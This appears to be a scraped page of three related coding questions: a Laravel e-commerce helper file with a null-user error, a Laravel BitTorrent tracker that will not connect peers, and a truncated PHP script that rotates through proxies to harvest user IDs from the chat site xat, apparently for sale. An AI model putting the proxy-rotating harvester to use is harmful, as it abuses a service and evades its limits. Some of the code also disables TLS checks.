Related
I am receiving the bellow error, I am newbie in coding and have not much knowladge.
Can you please help me to resolve this issue?
Trying to get property 'role' of non-object (View:
/home/public_html/resources/views/layouts/back-end/partials-seller/_header.blade.php)
Here is screenshot https://snipboard.io/NSMxv7.jpg
Bellow is code:
<?php
namespace App\CPU;
use App\Model\Admin;
use App\Model\BusinessSetting;
use App\Model\Category;
use App\Model\Color;
use App\Model\Coupon;
use App\Model\Currency;
use App\Model\Order;
use App\Model\Review;
use App\Model\Seller;
use App\Model\ShippingMethod;
use App\User;
use Carbon\Carbon;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Session;
class Helpers
{
public static function status($id)
{
if ($id == 1) {
$x = 'active';
} elseif ($id == 0) {
$x = 'in-active';
}
return $x;
}
public static function transaction_formatter($transaction)
{
if ($transaction['paid_by'] == 'customer') {
$user = User::find($transaction['payer_id']);
$payer = $user->f_name . ' ' . $user->l_name;
} elseif ($transaction['paid_by'] == 'seller') {
$user = Seller::find($transaction['payer_id']);
$payer = $user->f_name . ' ' . $user->l_name;
} elseif ($transaction['paid_by'] == 'admin') {
$user = Admin::find($transaction['payer_id']);
$payer = $user->name;
}
if ($transaction['paid_to'] == 'customer') {
$user = User::find($transaction['payment_receiver_id']);
$receiver = $user->f_name . ' ' . $user->l_name;
} elseif ($transaction['paid_to'] == 'seller') {
$user = Seller::find($transaction['payment_receiver_id']);
$receiver = $user->f_name . ' ' . $user->l_name;
} elseif ($transaction['paid_to'] == 'admin') {
$user = Admin::find($transaction['payment_receiver_id']);
$receiver = $user->name;
}
$transaction['payer_info'] = $payer;
$transaction['receiver_info'] = $receiver;
return $transaction;
}
public static function get_customer($request = null)
{
$user = null;
if (auth('customer')->check()) {
$user = auth('customer')->user(); // for web
} elseif ($request != null && $request->user() != null) {
$user = $request->user(); //for api
} elseif (session()->has('customer_id')) {
$user = User::find(session('customer_id'));
}
if ($user == null) {
$user = 'offline';
}
return $user;
}
public static function coupon_discount($request)
{
$discount = 0;
$user = Helpers::get_customer($request);
$couponLimit = Order::where('customer_id', $user->id)
->where('coupon_code', $request['coupon_code'])->count();
$coupon = Coupon::where(['code' => $request['coupon_code']])
->where('limit', '>', $couponLimit)
->where('status', '=', 1)
->whereDate('start_date', '<=', Carbon::parse()->toDateString())
->whereDate('expire_date', '>=', Carbon::parse()->toDateString())->first();
if (isset($coupon)) {
$total = 0;
foreach (CartManager::get_cart(CartManager::get_cart_group_ids($request)) as $cart) {
$product_subtotal = $cart['price'] * $cart['quantity'];
$total += $product_subtotal;
}
if ($total >= $coupon['min_purchase']) {
if ($coupon['discount_type'] == 'percentage') {
$discount = (($total / 100) * $coupon['discount']) > $coupon['max_discount'] ? $coupon['max_discount'] : (($total / 100) * $coupon['discount']);
} else {
$discount = $coupon['discount'];
}
}
}
return $discount;
}
public static function default_lang()
{
if (strpos(url()->current(), '/api')) {
$lang = App::getLocale();
} elseif (session()->has('local')) {
$lang = session('local');
} else {
$data = Helpers::get_business_settings('language');
$code = 'en';
$direction = 'ltr';
foreach ($data as $ln) {
if (array_key_exists('default', $ln) && $ln['default']) {
$code = $ln['code'];
if (array_key_exists('direction', $ln)) {
$direction = $ln['direction'];
}
}
}
session()->put('local', $code);
Session::put('direction', $direction);
$lang = $code;
}
return $lang;
}
public static function rating_count($product_id, $rating)
{
return Review::where(['product_id' => $product_id, 'rating' => $rating])->count();
}
public static function get_business_settings($name)
{
$config = null;
$check = ['currency_model', 'currency_symbol_position', 'system_default_currency', 'language', 'company_name', 'decimal_point_settings'];
if (in_array($name, $check) == true && session()->has($name)) {
$config = session($name);
} else {
$data = BusinessSetting::where(['type' => $name])->first();
if (isset($data)) {
$config = json_decode($data['value'], true);
if (is_null($config)) {
$config = $data['value'];
}
}
if (in_array($name, $check) == true) {
session()->put($name, $config);
}
}
return $config;
}
public static function get_settings($object, $type)
{
$config = null;
foreach ($object as $setting) {
if ($setting['type'] == $type) {
$config = $setting;
}
}
return $config;
}
public static function get_shipping_methods($seller_id, $type)
{
if ($type == 'admin') {
return ShippingMethod::where(['status' => 1])->where(['creator_type' => 'admin'])->get();
} else {
return ShippingMethod::where(['status' => 1])->where(['creator_id' => $seller_id, 'creator_type' => $type])->get();
}
}
public static function get_image_path($type)
{
$path = asset('storage/app/public/brand');
return $path;
}
public static function set_data_format($data)
{
try {
$variation = [];
$data['category_ids'] = json_decode($data['category_ids']);
$data['images'] = json_decode($data['images']);
$data['colors'] = Color::whereIn('code', json_decode($data['colors']))->get(['name', 'code']);
$attributes = [];
if (json_decode($data['attributes']) != null) {
foreach (json_decode($data['attributes']) as $attribute) {
$attributes[] = (integer)$attribute;
}
}
$data['attributes'] = $attributes;
$data['choice_options'] = json_decode($data['choice_options']);
foreach (json_decode($data['variation'], true) as $var) {
$variation[] = [
'type' => $var['type'],
'price' => (double)$var['price'],
'sku' => $var['sku'],
'qty' => (integer)$var['qty'],
];
}
$data['variation'] = $variation;
} catch (\Exception $exception) {
info($exception);
}
return $data;
}
public static function product_data_formatting($data, $multi_data = false)
{
$storage = [];
if ($multi_data == true) {
foreach ($data as $item) {
$storage[] = Helpers::set_data_format($item);
}
$data = $storage;
} else {
$data = Helpers::set_data_format($data);;
}
return $data;
}
public static function units()
{
$x = ['kg', 'pc', 'gms', 'ltrs'];
return $x;
}
public static function remove_invalid_charcaters($str)
{
return str_ireplace(['\'', '"', ',', ';', '<', '>', '?'], ' ', $str);
}
public static function saveJSONFile($code, $data)
{
ksort($data);
$jsonData = json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
file_put_contents(base_path('resources/lang/en/messages.json'), stripslashes($jsonData));
}
public static function combinations($arrays)
{
$result = [[]];
foreach ($arrays as $property => $property_values) {
$tmp = [];
foreach ($result as $result_item) {
foreach ($property_values as $property_value) {
$tmp[] = array_merge($result_item, [$property => $property_value]);
}
}
$result = $tmp;
}
return $result;
}
public static function error_processor($validator)
{
$err_keeper = [];
foreach ($validator->errors()->getMessages() as $index => $error) {
$err_keeper[] = ['code' => $index, 'message' => $error[0]];
}
return $err_keeper;
}
public static function currency_load()
{
$default = Helpers::get_business_settings('system_default_currency');
$current = \session('system_default_currency_info');
if (session()->has('system_default_currency_info') == false || $default != $current['id']) {
$id = Helpers::get_business_settings('system_default_currency');
$currency = Currency::find($id);
session()->put('system_default_currency_info', $currency);
session()->put('currency_code', $currency->code);
session()->put('currency_symbol', $currency->symbol);
session()->put('currency_exchange_rate', $currency->exchange_rate);
}
}
public static function currency_converter($amount)
{
$currency_model = Helpers::get_business_settings('currency_model');
if ($currency_model == 'multi_currency') {
if (session()->has('usd')) {
$usd = session('usd');
} else {
$usd = Currency::where(['code' => 'USD'])->first()->exchange_rate;
session()->put('usd', $usd);
}
$my_currency = \session('currency_exchange_rate');
$rate = $my_currency / $usd;
} else {
$rate = 1;
}
return Helpers::set_symbol(round($amount * $rate, 2));
}
public static function language_load()
{
if (\session()->has('language_settings')) {
$language = \session('language_settings');
} else {
$language = BusinessSetting::where('type', 'language')->first();
\session()->put('language_settings', $language);
}
return $language;
}
public static function tax_calculation($price, $tax, $tax_type)
{
$amount = ($price / 100) * $tax;
return $amount;
}
public static function get_price_range($product)
{
$lowest_price = $product->unit_price;
$highest_price = $product->unit_price;
foreach (json_decode($product->variation) as $key => $variation) {
if ($lowest_price > $variation->price) {
$lowest_price = round($variation->price, 2);
}
if ($highest_price < $variation->price) {
$highest_price = round($variation->price, 2);
}
}
$lowest_price = Helpers::currency_converter($lowest_price - Helpers::get_product_discount($product, $lowest_price));
$highest_price = Helpers::currency_converter($highest_price - Helpers::get_product_discount($product, $highest_price));
if ($lowest_price == $highest_price) {
return $lowest_price;
}
return $lowest_price . ' - ' . $highest_price;
}
public static function get_product_discount($product, $price)
{
$discount = 0;
if ($product->discount_type == 'percent') {
$discount = ($price * $product->discount) / 100;
} elseif ($product->discount_type == 'flat') {
$discount = $product->discount;
}
return floatval($discount);
}
public static function module_permission_check($mod_name)
{
$user_role = auth('admin')->user()->role;
$permission = $user_role->module_access;
if (isset($permission) && $user_role->status == 1 && in_array($mod_name, (array)json_decode($permission)) == true) {
return true;
}
if (auth('admin')->user()->admin_role_id == 1) {
return true;
}
return false;
}
public static function convert_currency_to_usd($price)
{
$currency_model = Helpers::get_business_settings('currency_model');
if ($currency_model == 'multi_currency') {
Helpers::currency_load();
$code = session('currency_code') == null ? 'USD' : session('currency_code');
$currency = Currency::where('code', $code)->first();
$price = floatval($price) / floatval($currency->exchange_rate);
} else {
$price = floatval($price);
}
return $price;
}
public static function order_status_update_message($status)
{
if ($status == 'pending') {
$data = BusinessSetting::where('type', 'order_pending_message')->first()->value;
} elseif ($status == 'confirmed') {
$data = BusinessSetting::where('type', 'order_confirmation_msg')->first()->value;
} elseif ($status == 'processing') {
$data = BusinessSetting::where('type', 'order_processing_message')->first()->value;
} elseif ($status == 'out_for_delivery') {
$data = BusinessSetting::where('type', 'out_for_delivery_message')->first()->value;
} elseif ($status == 'delivered') {
$data = BusinessSetting::where('type', 'order_delivered_message')->first()->value;
} elseif ($status == 'returned') {
$data = BusinessSetting::where('type', 'order_returned_message')->first()->value;
} elseif ($status == 'failed') {
$data = BusinessSetting::where('type', 'order_failed_message')->first()->value;
} elseif ($status == 'delivery_boy_delivered') {
$data = BusinessSetting::where('type', 'delivery_boy_delivered_message')->first()->value;
} elseif ($status == 'del_assign') {
$data = BusinessSetting::where('type', 'delivery_boy_assign_message')->first()->value;
} elseif ($status == 'ord_start') {
$data = BusinessSetting::where('type', 'delivery_boy_start_message')->first()->value;
} else {
$data = '{"status":"0","message":""}';
}
$res = json_decode($data, true);
if ($res['status'] == 0) {
return 0;
}
return $res['message'];
}
public static function send_push_notif_to_device($fcm_token, $data)
{
$key = BusinessSetting::where(['type' => 'push_notification_key'])->first()->value;
$url = "https://fcm.googleapis.com/fcm/send";
$header = array("authorization: key=" . $key . "",
"content-type: application/json"
);
if (isset($data['order_id']) == false) {
$data['order_id'] = null;
}
$postdata = '{
"to" : "' . $fcm_token . '",
"data" : {
"title" :"' . $data['title'] . '",
"body" : "' . $data['description'] . '",
"image" : "' . $data['image'] . '",
"order_id":"' . $data['order_id'] . '",
"is_read": 0
},
"notification" : {
"title" :"' . $data['title'] . '",
"body" : "' . $data['description'] . '",
"image" : "' . $data['image'] . '",
"order_id":"' . $data['order_id'] . '",
"title_loc_key":"' . $data['order_id'] . '",
"is_read": 0,
"icon" : "new",
"sound" : "default"
}
}';
$ch = curl_init();
$timeout = 120;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
// Get URL content
$result = curl_exec($ch);
// close handle to release resources
curl_close($ch);
return $result;
}
public static function send_push_notif_to_topic($data)
{
$key = BusinessSetting::where(['type' => 'push_notification_key'])->first()->value;
$url = "https://fcm.googleapis.com/fcm/send";
$header = ["authorization: key=" . $key . "",
"content-type: application/json",
];
$image = asset('storage/app/public/notification') . '/' . $data['image'];
$postdata = '{
"to" : "/topics/sixvalley",
"data" : {
"title":"' . $data->title . '",
"body" : "' . $data->description . '",
"image" : "' . $image . '",
"is_read": 0
},
"notification" : {
"title":"' . $data->title . '",
"body" : "' . $data->description . '",
"image" : "' . $image . '",
"title_loc_key":"' . $data['order_id'] . '",
"is_read": 0,
"icon" : "new",
"sound" : "default"
}
}';
$ch = curl_init();
$timeout = 120;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
// Get URL content
$result = curl_exec($ch);
// close handle to release resources
curl_close($ch);
return $result;
}
public static function get_seller_by_token($request)
{
$data = '';
$success = 0;
$token = explode(' ', $request->header('authorization'));
if (count($token) > 1 && strlen($token[1]) > 30) {
$seller = Seller::where(['auth_token' => $token['1']])->first();
if (isset($seller)) {
$data = $seller;
$success = 1;
}
}
return [
'success' => $success,
'data' => $data
];
}
public static function remove_dir($dir)
{
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != "." && $object != "..") {
if (filetype($dir . "/" . $object) == "dir") Helpers::remove_dir($dir . "/" . $object); else unlink($dir . "/" . $object);
}
}
reset($objects);
rmdir($dir);
}
}
public static function currency_code()
{
Helpers::currency_load();
if (session()->has('currency_symbol')) {
$symbol = session('currency_symbol');
$code = Currency::where(['symbol' => $symbol])->first()->code;
} else {
$system_default_currency_info = session('system_default_currency_info');
$code = $system_default_currency_info->code;
}
return $code;
}
public static function get_language_name($key)
{
$values = Helpers::get_business_settings('language');
foreach ($values as $value) {
if ($value['code'] == $key) {
$key = $value['name'];
}
}
return $key;
}
public static function setEnvironmentValue($envKey, $envValue)
{
$envFile = app()->environmentFilePath();
$str = file_get_contents($envFile);
if (is_bool(env($envKey))) {
$oldValue = var_export(env($envKey), true);
} else {
$oldValue = env($envKey);
}
// $oldValue = var_export(env($envKey), true);
if (strpos($str, $envKey) !== false) {
$str = str_replace("{$envKey}={$oldValue}", "{$envKey}={$envValue}", $str);
// dd("{$envKey}={$envValue}");
// dd($str);
} else {
$str .= "{$envKey}={$envValue}\n";
}
$fp = fopen($envFile, 'w');
fwrite($fp, $str);
fclose($fp);
return $envValue;
}
public static function requestSender()
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt_array($curl, array(
CURLOPT_URL => route(base64_decode('YWN0aXZhdGlvbi1jaGVjaw==')),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "GET",
));
$response = curl_exec($curl);
$data = json_decode($response, true);
return $data;
}
public static function sales_commission($order)
{
$order_summery = OrderManager::order_summary($order);
$order_total = $order_summery['subtotal'] - $order_summery['total_discount_on_product'] - $order['discount_amount'];
$commission_amount = 0;
if ($order['seller_is'] == 'seller') {
$seller = Seller::find($order['seller_id']);
if (isset($seller) && $seller['sales_commission_percentage'] !== null) {
$commission = $seller['sales_commission_percentage'];
} else {
$commission = Helpers::get_business_settings('sales_commission');
}
$commission_amount = (($order_total / 100) * $commission);
}
return $commission_amount;
}
public static function categoryName($id)
{
return Category::select('name')->find($id)->name;
}
public static function set_symbol($amount)
{
$decimal_point_settings = Helpers::get_business_settings('decimal_point_settings');
$position = Helpers::get_business_settings('currency_symbol_position');
if (!is_null($position) && $position == 'left') {
$string = currency_symbol() . '' . number_format($amount, $decimal_point_settings);
} else {
$string = number_format($amount, $decimal_point_settings) . '' . currency_symbol();
}
return $string;
}
public static function pagination_limit()
{
$pagination_limit = BusinessSetting::where('type', 'pagination_limit')->first();
if ($pagination_limit != null) {
return $pagination_limit->value;
} else {
return 25;
}
}
public static function gen_mpdf($view, $file_prefix, $file_postfix)
{
$mpdf = new \Mpdf\Mpdf(['default_font' => 'FreeSerif', 'mode' => 'utf-8', 'format' => [190, 250]]);
/* $mpdf->AddPage('XL', '', '', '', '', 10, 10, 10, '10', '270', '');*/
$mpdf->autoScriptToLang = true;
$mpdf->autoLangToFont = true;
$mpdf_view = $view;
$mpdf_view = $mpdf_view->render();
$mpdf->WriteHTML($mpdf_view);
$mpdf->Output($file_prefix . $file_postfix . '.pdf', 'D');
}
}
if (!function_exists('currency_symbol')) {
function currency_symbol()
{
Helpers::currency_load();
if (\session()->has('currency_symbol')) {
$symbol = \session('currency_symbol');
} else {
$system_default_currency_info = \session('system_default_currency_info');
$symbol = $system_default_currency_info->symbol;
}
return $symbol;
}
}
//formats currency
if (!function_exists('format_price')) {
function format_price($price)
{
return number_format($price, 2) . currency_symbol();
}
}
function translate($key)
{
$local = Helpers::default_lang();
App::setLocale($local);
try {
$lang_array = include(base_path('resources/lang/' . $local . '/messages.php'));
$processed_key = ucfirst(str_replace('_', ' ', Helpers::remove_invalid_charcaters($key)));
if (!array_key_exists($key, $lang_array)) {
$lang_array[$key] = $processed_key;
$str = "<?php return " . var_export($lang_array, true) . ";";
file_put_contents(base_path('resources/lang/' . $local . '/messages.php'), $str);
$result = $processed_key;
} else {
$result = __('messages.' . $key);
}
} catch (\Exception $exception) {
$result = __('messages.' . $key);
}
return $result;
}
Help me please to remove this error
The error is self describing, you are trying to echo out role on NULL, this means that auth('admin')->user() is NULL. Try to dd(auth()->check()) and see if you are logged in.
I am implementing the laratracker , a bittorrent tracker built in laravel, but unable to start the download. Only one peer appears to be seeding, Sometimes it is saying "Connecting to peers" and remains at it is. The code which i am using is :
<?php
namespace App\Http\Controllers\Announce;
use App\Helpers\BencodeHelper;
use App\Models\Peer;
use App\Models\PeerTorrent;
use App\Models\Torrent;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Input;
use Illuminate\Support\Facades\Log;
class AnnounceController extends Controller
{
const __INTERVAL = 1000;
const __TIMEOUT = 120;
const __INTERVAL_MIN = 60;
const __MAX_PPR = 20;
public function announce(Request $request)
{
Log::info($request->fullUrl());
$status = 200;
$content = "";
$passkey = Input::get('passkey');
$peer_id = Input::get('peer_id');
$port = Input::get('port');
$info_hash = Input::get('info_hash');
$downloaded = Input::get('uploaded') ? intval(Input::get('uploaded')) : 0;
$uploaded = Input::get('uploaded') ? intval(Input::get('uploaded')) : 0;
$left = Input::get('left') ? intval(Input::get('left')) : 0;
$compact = Input::get('compact') ? intval(Input::get('compact')) : 0;
$no_peer_id = Input::get('no_peer_id') ? intval(Input::get('no_peer_id')) : 0;
$ipAddress = '';
// Check for X-Forwarded-For headers and use those if found
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && ('' !== trim($_SERVER['HTTP_X_FORWARDED_FOR']))) {
$ipAddress = (trim($_SERVER['HTTP_X_FORWARDED_FOR']));
} else {
if (isset($_SERVER['REMOTE_ADDR']) && ('' !== trim($_SERVER['REMOTE_ADDR']))) {
$ipAddress = (trim($_SERVER['REMOTE_ADDR']));
}
}
$port = $_SERVER['REMOTE_PORT'];
/*if(!$port || !ctype_digit($port) || intval($port) < 1 || intval($port) > 65535)
{
$content = BencodeHelper::track("Invalid client port.");
$status = 401;
return (new Response(AnnounceController::track($content), $status))
->header('Content-Type', $value);
}
if ($port == 999 && substr($peer_id, 0, 10) == '-TO0001-XX') {
die("d8:completei0e10:incompletei0e8:intervali600e12:min intervali60e5:peersld2:ip12:72.14.194.184:port3:999ed2:ip11:72.14.194.14:port3:999ed2:ip12:72.14.194.654:port3:999eee");
}*/
if (!$passkey) {
$content = BencodeHelper::track("Missing passkey.");
$status = 401;
return (new Response(AnnounceController::track($content), $status))
->header('Content-Type', $value);
}
$torrent = Torrent::getByInfoHash(sha1($info_hash));
if (!$torrent || $torrent == null) {
$content = "Torrent not registered with this tracker.";
$status = 404;
return (new Response(AnnounceController::track($content), $status))
->header('Content-Type', $value);
}
$user = User::has('passkeys', '=', $passkey)->get();
if ($user == null) {
$content = BencodeHelper::track("Invalid passkey.");
$status = 401;
return (new Response(AnnounceController::track($content), $status))
->header('Content-Type', $value);
}
$peer = Peer::getByHashAndPasskey(bin2hex($peer_id), $passkey);
if ($peer == null) {
$peer = Peer::create([
'hash' => bin2hex($peer_id),
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'ip_address' => $ipAddress,
'passkey' => $passkey,
'port' => $port
]);
}
if (!$info_hash || strlen($info_hash) != 20) {
$content = BencodeHelper::track("Invalid info_hash.");
$status = 401;
return (new Response(AnnounceController::track($content), $status))
->header('Content-Type', $value);
}
$peer_torrent = PeerTorrent::getByPeerAndTorrent($peer, $torrent);
if ($peer_torrent == null) {
$peer_torrent = PeerTorrent::create([
'peer_id' => $peer->id,
'torrent_id' => $torrent->id,
'uploaded' => $uploaded,
'downloaded' => $downloaded,
'left' => $left,
'stopped' => false
]);
} else {
$peer_torrent->uploaded = $uploaded;
$peer_torrent->downloaded = $downloaded;
$peer_torrent->left = $left;
$peer_torrent->save();
}
$seeders = $torrent->getSeedersCount();
$leechers = $torrent->getLeechersCount();
$resp = "";
if ($compact != 1) {
$resp = "d" . $this->benc_str("interval") . "i" . AnnounceController::__INTERVAL . "e" . $this->benc_str("peers") . "l";
} else {
$resp = "d" . $this->benc_str("interval") . "i" . AnnounceController::__INTERVAL . "e" . $this->benc_str("min interval") . "i" . 300 . "e5:" . "peers";
}
$peer = array();
$peer_num = 0;
foreach ($torrent->getPeersArray() as $row) {
if ($compact != 1) {
if ($row["peer_id"] === $peer->hash) {
continue;
}
$resp .= "d" . $this->benc_str("ip") . $this->benc_str($row['ip']);
if ($no_peer_id == 0) {
$resp .= $this->benc_str("peer id") . $this->benc_str($row["peer_id"]);
}
$resp .= $this->benc_str("port") . "i" . $row["port"] . "e" . "e";
} else {
$peer_ip = explode('.', $row["ip"]);
$peer_ip = pack("C*", $peer_ip[0], $peer_ip[1], $peer_ip[2], $peer_ip[3]);
$peer_port = pack("n*", (int)$row["port"]);
$time = intval((time() % 7680) / 60);
if ($left == 0) {
$time += 128;
}
$time = pack("C", $time);
$peer[] = $time . $peer_ip . $peer_port;
$peer_num++;
}
}
if ($compact != 1) {
$resp .= "ee";
} else {
$o = "";
for ($i = 0; $i < $peer_num; $i++) {
$o .= substr($peer[$i], 1, 6);
}
$resp .= strlen($o) . ':' . $o . 'e';
}
$this->benc_resp_raw($resp);
}
public function benc_resp($d)
{
return $this->benc_resp_raw($this->benc(array('type' => 'dictionary', 'value' => $d)));
}
public function benc_resp_raw($x)
{
header("Content-Type: text/plain");
header("Pragma: no-cache");
if ($_SERVER['HTTP_ACCEPT_ENCODING'] == 'gzip') {
header("Content-Encoding: gzip");
echo gzencode($x, 9, FORCE_GZIP);
} else {
echo $x;
}
}
function benc($obj)
{
if (!is_array($obj) || !isset($obj["type"]) || !isset($obj["value"]))
return;
$c = $obj["value"];
switch ($obj["type"]) {
case "string":
return $this->benc_str($c);
case "integer":
return $this->benc_int($c);
case "list":
return $this->benc_list($c);
case "dictionary":
return $this->benc_dict($c);
default:
return;
}
}
public function benc_str($s)
{
return strlen($s) . ":$s";
}
public function benc_int($i)
{
return "i" . $i . "e";
}
public function benc_list($a)
{
$s = "l";
foreach ($a as $e) {
$s .= $this->benc($e);
}
$s .= "e";
return $s;
}
public function benc_dict($d)
{
$s = "d";
$keys = array_keys($d);
sort($keys);
foreach ($keys as $k) {
$v = $d[$k];
$s .= $this->benc_str($k);
$s .= $this->benc($v);
}
$s .= "e";
return $s;
}
public function hex2bin($hex)
{
$r = '';
for ($i = 0; $i < strlen($hex); $i += 2) {
$r .= chr(hexdec($hex{$i} . $hex{($i + 1)}));
}
return $r;
}
}
<?php
Not sure what to add or modify to the code to get it working . Help appreciated for the solution .
I have made an "ID generator" for a website known as xat now this fully works on any up to date windows machine. But I do not understand why when I run it on a linux Debian server I get:
root#vps:/idgen# php get.php
[3:45:42 PM] Connected to MySQL server
[3:45:42 PM] Starting ID Generator With 0 IDs to begin with.
PHP Fatal Error: Call to undefined function curl_init() in /idgen/get.php on line 70
root#vps:/idgen#
(I am new to linux machines. I did some research but till don't understand it :L my code is very long. Its
<?php
set_time_limit(0);
ini_set('display_error', 1);
error_reporting(E_ALL);
date_default_timezone_set('America/New_York');
$idGen = new IDGenerator;
$loop = 1;
while(true)
{
switch(#$argv[1]) {
case '0':
default:
$list = fopen('proxies.txt', 'r');
while(!feof($list))
{
$proxy = fgets($list);
$idGen->generate($proxy);
}
fclose($list);
break;
}
$loop++;
usleep(50000);
$idGen->report('Starting loop #'.$loop);
}
class IDGenerator
{
public $sql = NULL;
public $one = array('1','2','3','4','5','6','7','8','9','0');
public $two = array('11','22','33','44','55','66','77','88','99','00');
public $three = array('111','222','333','444','555','666','777','888','999','000');
public $four = array('0000','1010','1111','1212','1313','1414','1515','1616','1717','1818','1919','2020','2121','2222','2323','2424','2525','2626','2727','2828','2929','3030','3131','3232','3333','3434','3535','3636','3737','3838','3939','4040','4141','4242','4343','4444','4545','4646','4747','4848','4949','5050','5151','5252','5353','5454','5555','5656','5757','5858','5959','6060','6161','6262','6363','6464','6565','6666','6767','6868','6969','7070','7171','7272','7373','7474','7575','7676','7777','7878','7979','8080','8181','8282','8383','8484','8585','8686','8787','8888','8989','9090','9191','9292','9393','9494','9595','9696','9797','9898','9999');
public $five = array('00000','10101','11111','12121','13131','14141','15151','16161','17171','18181','19191','20202','21212','22222','23232','24242','25252','26262','27272','28282','29292','30303','31313','32323','33333','34343','35353','36363','37373','38383','39393','40404','41414','42424','43434','44444','45454','46464','47474','48484','49494','50505','51515','52525','53535','54545','55555','56565','57575','58585','59595','60606','61616','62626','63636','64646','65656','66666','67676','68686','69696','70707','71717','72727','73737','74747','75757','76767','77777','78787','79797','80808','81818','82828','83838','84848','85858','86868','87878','88888','89898','90909','91919','92929','93939','94949','95959','96969','97979','98989','99999');
public $six = array('000000','101010','111111','121212','131313','141414','151515','161616','171717','181818','191919','202020','212121','222222','232323','242424','252525','262626','272727','282828','292929','303030','313131','323232','333333','343434','353535','363636','373737','383838','393939','404040','414141','424242','434343','444444','454545','464646','474747','484848','494949','505050','515151','525252','535353','545454','555555','565656','575757','585858','595959','606060','616161','626262','636363','646464','656565','666666','676767','686868','696969','707070','717171','727272','737373','747474','757575','767676','777777','787878','797979','808080','818181','828282','838383','848484','858585','868686','878787','888888','898989','909090','919191','929292','939393','949494','959595','969696','979797','989898','999999');
public $seven = array('0000000','1010101','1111111','1212121','1313131','1414141','1515151','1616161','1717171','1818181','1919191','2020202','2121212','2222222','2323232','2424242','2525252','2626262','2727272','2828282','2929292','3030303','3131313','3232323','3333333','3434343','3535353','3636363','3737373','3838383','3939393','4040404','4141414','4242424','4343434','4444444','4545454','4646464','4747474','4848484','4949494','5050505','5151515','5252525','5353535','5454545','5555555','5656565','5757575','5858585','5959595','6060606','6161616','6262626','6363636','6464646','6565656','6666666','6767676','6868686','6969696','7070707','7171717','7272727','7373737','7474747','7575757','7676767','7777777','7878787','7979797','8080808','8181818','8282828','8383838','8484848','8585858','8686868','8787878','8888888','8989898','9090909','9191919','9292929','9393939','9494949','9595959','9696969','9797979','9898989','9999999');
public $eight = array('00000000','10101010','11111111','12121212','13131313','14141414','15151515','16161616','17171717','18181818','19191919','20202020','21212121','22222222','23232323','24242424','25252525','26262626','27272727','28282828','29292929','30303030','31313131','32323232','33333333','34343434','35353535','36363636','37373737','38383838','39393939','40404040','41414141','42424242','43434343','44444444','45454545','46464646','47474747','48484848','49494949','50505050','51515151','52525252','53535353','54545454','55555555','56565656','57575757','58585858','59595959','60606060','61616161','62626262','63636363','64646464','65656565','66666666','67676767','68686868','69696969','70707070','71717171','72727272','73737373','74747474','75757575','76767676','77777777','78787878','79797979','80808080','81818181','82828282','83838383','84848484','85858585','86868686','87878787','88888888','89898989','90909090','91919191','92929292','93939393','94949494','95959595','96969696','97979797','98989898','99999999');
public $nine = array('000000000','101010101','111111111','121212121','131313131','141414141','151515151','161616161','171717171','181818181','191919191','202020202','212121212','222222222','232323232','242424242','252525252','262626262','272727272','282828282','292929292','303030303','313131313','323232323','333333333','343434343','353535353','363636363','373737373','383838383','393939393','404040404','414141414','424242424','434343434','444444444','454545454','464646464','474747474','484848484','494949494','505050505','515151515','525252525','535353535','545454545','555555555','565656565','575757575','585858585','595959595','606060606','616161616','626262626','636363636','646464646','656565656','666666666','676767676','686868686','696969696','707070707','717171717','727272727','737373737','747474747','757575757','767676767','777777777','787878787','797979797','808080808','818181818','828282828','838383838','848484848','858585858','868686868','878787878','888888888','898989898','909090909','919191919','929292929','939393939','949494949','959595959','969696969','979797979','989898989','999999999');
public $proxy;
public $cp = array();
public function __construct()
{
include('database.class.php');
$this->sql = new Database($this);
$this->report('Connected to MySQL Server');
$nc = number_format( $this->sql->countRows('ids WHERE sold=0') );
$this->report('Starting ID Generator With '.$nc.' IDs to begin with.');
}
public function generate($ip='111.111.111.111',$port=1, $elapsed=0) {
if( ( $elapsed - time() ) >= 0 && $elapsed != 0) {
//This causes MAJOR terminal/CMD flood.
// $this->report('Proxy: '.$ip.':'.$port.' will be trying again in '.$this->sec2hms($elapsed-time()));
return;
}
$this->cp = array(
'ip' => $ip,
'port' => $port
);
$proxy = $ip.':'.$port;
$tries = 0;
$xData = '';
$timeout = 3;
// echo "Tries -> ";
while($xData=='' && $tries < 3) {
$ch = curl_init(); //curl init :D
curl_setopt($ch, CURLOPT_URL, 'http://xat.com/web_gear/chat/auser3.php?t='.rand(100000000000,1000000000000000000000000000000000)); //url
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
curl_close($ch);
$rdata = $data;
if(#$data{0} == '<') {
return;//Bad Proxy Detected.
}
if(strpos($data, 'Not Found') != FALSE) {
$data = '&UserId=0&k1=0&k2=0';
}
if($data != '&UserId=0&k1=0&k2=0') {
if(strpos($data, '&k2=0') != FALSE) {
